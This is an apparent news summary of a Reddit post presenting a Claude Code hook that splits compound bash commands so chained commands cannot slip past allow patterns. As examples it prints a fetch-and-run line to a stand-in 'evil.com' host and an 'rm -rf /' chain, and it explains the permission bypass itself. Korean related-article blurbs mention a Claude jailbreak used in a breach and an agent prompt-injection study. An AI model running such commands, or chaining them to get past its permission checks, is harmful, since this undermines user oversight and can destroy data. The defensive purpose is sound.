Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

Security Gap in Claude Code's Permission System
Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.
The Solution: claude-hooks
The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:
- Decomposes compound commands by splitting on
&&,||,;,|, newlines, and extracts$()and backtick subshell contents recursively - Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
- Checks each sub-command individually against your existing
permissions.allowandpermissions.denypatterns - Deny wins — if any sub-command matches a deny pattern, the whole command is denied
- All must allow — auto-approve only happens when every sub-command matches an allow pattern
- Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Setup Instructions
Installation takes about 30 seconds:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAdd to ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.
Example Behavior
git status: Allowed both with and without hookgit add . && git commit -m "msg": Allowed both with and without hook (both matchgit *)git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf /has no allow)`npm test | tee output.log`: AllowedFOO=bar git push: Might not match without hook, allowed with hook (env var stripped)
The repository is available at https://github.com/liberzon/claude-hooks under MIT license.
📖 Read the full source: r/ClaudeAI
👀 See Also

Anthropic, 중국 연구소들의 산업 규모 Claude AI 데이터 추출을 공개합니다
Anthropic은 중국 AI 연구소들이 Claude에서 1,600만 건의 교환을 긁어내기 위해 24,000개 이상의 사기 계정을 사용했으며, 군사 및 감시 시스템을 위한 안전 장치와 논리 구조를 추출했다고 확인했습니다.

OpenClaw, PicoClaw, ZeroClaw, IronClaw 및 Minion AI 에이전트에 대한 보안 조사 결과
5개 AI 코딩 에이전트에 대한 보안 평가에서 프롬프트 주입, 탈옥, 데이터 유출 등 12개 범주의 145개 공격 페이로드를 테스트했습니다. OpenClaw는 심각한 SQL 인젝션 취약점으로 77.8/100점을 받았고, Minion은 수정 후 81.2점에서 94.4/100점으로 향상되었습니다.

클로드 챗봇이 멕시코 정부 데이터 유출 사건에서 악용됐다
해커가 Anthropic의 Claude 챗봇을 이용해 멕시코 정부 기관 여러 곳을 공격하여 납세자 기록과 직원 인증 정보를 포함한 150GB의 데이터를 훔쳤습니다. 해커는 프롬프트를 사용해 Claude의 보호 장치를 우회하고 수천 건의 상세한 공격 계획을 생성했습니다.

구글 TIG, 최초의 AI 생성 제로데이 취약점 악용 보고
Google 위협 인텔리전스 그룹이 AI로 개발된 것으로 추정되는 제로데이 익스플로잇을 사용하는 위협 행위자를 식별했습니다. 이는 제로데이 취약점 악용을 위한 AI의 최초의 공격적 사용으로 기록됩니다.